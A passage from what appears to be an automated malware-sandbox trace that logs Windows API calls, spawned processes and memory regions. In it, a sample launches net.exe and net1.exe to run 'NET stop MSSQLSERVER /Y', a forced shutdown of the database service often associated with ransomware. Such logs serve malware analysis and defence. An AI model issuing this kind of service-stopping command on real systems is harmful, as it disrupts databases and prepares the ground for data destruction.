(_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.769] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0034.771] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET stop MSSQLSERVER /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x32f140*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET stop MSSQLSERVER /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32f18c | out: lpCommandLine="NET stop MSSQLSERVER /Y", lpProcessInformation=0x32f18c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x9f8, dwThreadId=0x9fc)) returned 1 [0034.848] CloseHandle (hObject=0x78) returned 1 [0034.848] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0034.848] GetEnvironmentStringsW () returned 0x744db8* [0034.848] FreeEnvironmentStringsW (penv=0x744db8) returned 1 [0034.848] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0036.254] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x32f080 | out: lpExitCode=0x32f080*=0x2) returned 1 [0036.254] CloseHandle (hObject=0x7c) returned 1 [0036.254] _vsnwprintf (in: _Buffer=0x32f1c8, _BufferCount=0x13, _Format="%08X", _ArgList=0x32f08c | out: _Buffer="00000002") returned 8 [0036.254] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0036.254] GetEnvironmentStringsW () returned 0x742b18* [0036.254] FreeEnvironmentStringsW (penv=0x742b18) returned 1 [0036.254] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0036.254] GetEnvironmentStringsW () returned 0x742b18* [0036.255] FreeEnvironmentStringsW (penv=0x742b18) returned 1 [0036.255] DeleteProcThreadAttributeList (in: lpAttributeList=0x32f0e4 | out: lpAttributeList=0x32f0e4) [0036.255] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.255] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0036.255] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.255] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a1441ac | out: lpMode=0x4a1441ac) returned 1 [0036.255] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.255] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a1441b0 | out: lpMode=0x4a1441b0) returned 1 [0036.255] SetConsoleInputExeNameW () returned 0x1 [0036.255] GetConsoleOutputCP () returned 0x1b5 [0036.255] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a144260 | out: lpCPInfo=0x4a144260) returned 1 [0036.255] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.255] exit (_Code=2) Process: id = "3" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x515cb000" os_pid = "0x9f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x960" cmd_line = "NET stop MSSQLSERVER /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 237 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 238 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 239 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 240 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 241 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 242 start_va = 0xb0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 243 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 244 start_va = 0xd20000 end_va = 0xd37fff entry_point = 0xd20000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 245 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 246 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 247 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 248 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 249 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 250 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 251 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 252 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 253 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 254 start_va = 0x2d0000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 255 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 256 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 257 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 258 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 259 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 260 start_va = 0x130000 end_va = 0x196fff entry_point = 0x130000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 261 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 262 start_va = 0x6c0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 263 start_va = 0x751e0000 end_va = 0x751e6fff entry_point = 0x751e0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 264 start_va = 0x751f0000 end_va = 0x7520bfff entry_point = 0x751f0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 265 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 266 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 267 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 268 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 269 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 270 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 271 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 272 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 273 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 274 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 275 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 276 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 277 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 278 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 279 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 280 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 281 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 282 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 283 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 3 os_tid = 0x9fc Thread: id = 4 os_tid = 0x0 Process: id = "4" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x516ec000" os_pid = "0xa20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x9f8" cmd_line = "C:\\Windows\\system32\\net1 stop MSSQLSERVER /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 284 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 285 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 286 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 287 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 288 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 289 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 290 start_va = 0x200000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 291 start_va = 0x480000 end_va = 0x4a9fff entry_point = 0x480000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 292 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 293 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 294 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 295 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 296 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 297 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 298 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 299 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 300 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 301 start_va = 0x390000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 302 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 303 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 304 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 305 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 306 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 307 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 308 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 309 start_va = 0x5c0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 310 start_va = 0x75140000 end_va = 0x75157fff entry_point = 0x75140000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 311 start_va = 0x75160000 end_va = 0x75171fff entry_point = 0x75160000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 312 start_va = 0x75180000 end_va = 0x75190fff entry_point = 0x75180000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 313 start_va = 0x751a0000 end_va = 0x751c1fff entry_point = 0x751a0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 314 start_va = 0x751d0000 end_va = 0x751d8fff entry_point = 0x751d0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 315 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 316 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 317 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 318 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 319 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 320 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 321 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 322 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 323 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 324 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 325 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 326 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 327 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 328 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 329 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 330 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 331 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 332 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 333 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 334 start_va = 0x75130000 end_va = 0x75131fff entry_point = 0x75130000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 5 os_tid = 0xa24 [0036.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fa8c | out: lpSystemTimeAsFileTime=0x27fa8c*(dwLowDateTime=0xd7504880, dwHighDateTime=0x1d4abdd)) [0036.002] GetCurrentProcessId () returned 0xa20 [0036.002] GetCurrentThreadId () returned 0xa24 [0036.002] GetTickCount () returned 0x1975e [0036.002] QueryPerformanceCounter (in: lpPerformanceCount=0x27fa84 | out: lpPerformanceCount=0x27fa84*=1811123200000) returned 1 [0036.002] GetModuleHandleA (lpModuleName=0x0) returned 0x480000 [0036.002] __set_app_type (_Type=0x1) [0036.002] __p__fmode () returned 0x75ed31f4 [0036.003] __p__commode () returned 0x75ed31fc [0036.003] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x48ffe6) returned 0x0 [0036.003] __getmainargs (in: _Argc=0x499064, _Argv=0x49906c, _Env=0x499068, _DoWildCard=0, _StartInfo=0x499024 | out: _Argc=0x499064, _Argv=0x49906c, _Env=0x499068) returned 0 [0036.003] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.003] GetConsoleOutputCP () returned 0x1b5 [0036.003] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x499080 | out: lpCPInfo=0x499080) returned 1 [0036.003] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.006] sprintf_s (in: _DstBuf=0x27fa44, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0036.006] setlocale (category=0, locale=".437") returned="English_United States.437" [0036.008] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0036.008] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0036.008] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop MSSQLSERVER /Y" [0036.008] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27f810, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0036.008] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0036.008] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x27fa14 | out: Buffer=0x27fa14*=0x5d1c08) returned 0x0 [0036.008] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x27fa14 | out: Buffer=0x27fa14*=0x5d1c20) returned 0x0 [0036.008] _fileno (_File=0x75ed2900) returned 0 [0036.008] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0036.008] _wcsicmp (_String1="accounts", _String2="stop") returned -18 [0036.008] _wcsicmp (_String1="computer", _String2="stop") returned -16 [0036.008] _wcsicmp (_String1="config", _String2="stop") returned -16 [0036.008] _wcsicmp (_String1="continue", _String2="stop") returned -16 [0036.008] _wcsicmp (_String1="cont", _String2="stop") returned -16 [0036.008] _wcsicmp (_String1="file", _String2="stop") returned -13 [0036.008] _wcsicmp (_String1="files", _String2="stop") returned -13 [0036.009] _wcsicmp (_String1="group", _String2="stop") returned -12 [0036.009] _wcsicmp (_String1="groups", _String2="stop") returned -12 [0036.009] _wcsicmp (_String1="help", _String2="stop") returned -11 [0036.009] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11 [0036.009] _wcsicmp (_String1="localgroup", _String2="stop") returned -7 [0036.009] _wcsicmp (_String1="pause", _String2="stop") returned -3 [0036.009] _wcsicmp (_String1="session", _String2="stop") returned -15 [0036.009] _wcsicmp (_String1="sessions", _String2="stop") returned -15 [0036.009] _wcsicmp (_String1="sess", _String2="stop") returned -15 [0036.009] _wcsicmp (_String1="share", _String2="stop") returned -12 [0036.009] _wcsicmp (_String1="start", _String2="stop") returned -14 [0036.009] _wcsicmp (_String1="stats", _String2="stop") returned -14 [0036.009] _wcsicmp (_String1="statistics", _String2="stop") returned -14 [0036.009] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0036.009] _wcsicmp (_String1="accounts", _String2="MSSQLSERVER") returned -12 [0036.009] _wcsicmp (_String1="computer", _String2="MSSQLSERVER") returned -10 [0036.009] _wcsicmp (_String1="config", _String2="MSSQLSERVER") returned -10 [0036.009] _wcsicmp (_String1="continue", _String2="MSSQLSERVER") returned -10 [0036.009] _wcsicmp (_String1="cont", _String2="MSSQLSERVER") returned -10 [0036.009] _wcsicmp (_String1="file", _String2="MSSQLSERVER") returned -7 [0036.009] _wcsicmp (_String1="files", _String2="MSSQLSERVER") returned -7 [0036.009] _wcsicmp (_String1="group", _String2="MSSQLSERVER") returned -6 [0036.009] _wcsicmp (_String1="groups", _String2="MSSQLSERVER") returned -6 [0036.009] _wcsicmp (_String1="help", _String2="MSSQLSERVER") returned -5 [0036.009] _wcsicmp (_String1="helpmsg", _String2="MSSQLSERVER") returned -5 [0036.009] _wcsicmp (_String1="localgroup", _String2="MSSQLSERVER") returned -1 [0036.009] _wcsicmp (_String1="pause", _String2="MSSQLSERVER") returned 3 [0036.009] _wcsicmp (_String1="session", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="sessions", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="sess", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="share", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="start", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="stats", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="statistics", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="stop", _String2="MSSQLSERVER") returned 6 [0036.009] _wcsicmp (_String1="time", _String2="MSSQLSERVER") returned 7 [0036.009] _wcsicmp (_String1="user", _String2="MSSQLSERVER") returned 8 [0036.009] _wcsicmp (_String1="users", _String2="MSSQLSERVER") returned 8 [0036.009] _wcsicmp (_String1="msg", _String2="MSSQLSERVER") returned -12 [0036.009] _wcsicmp 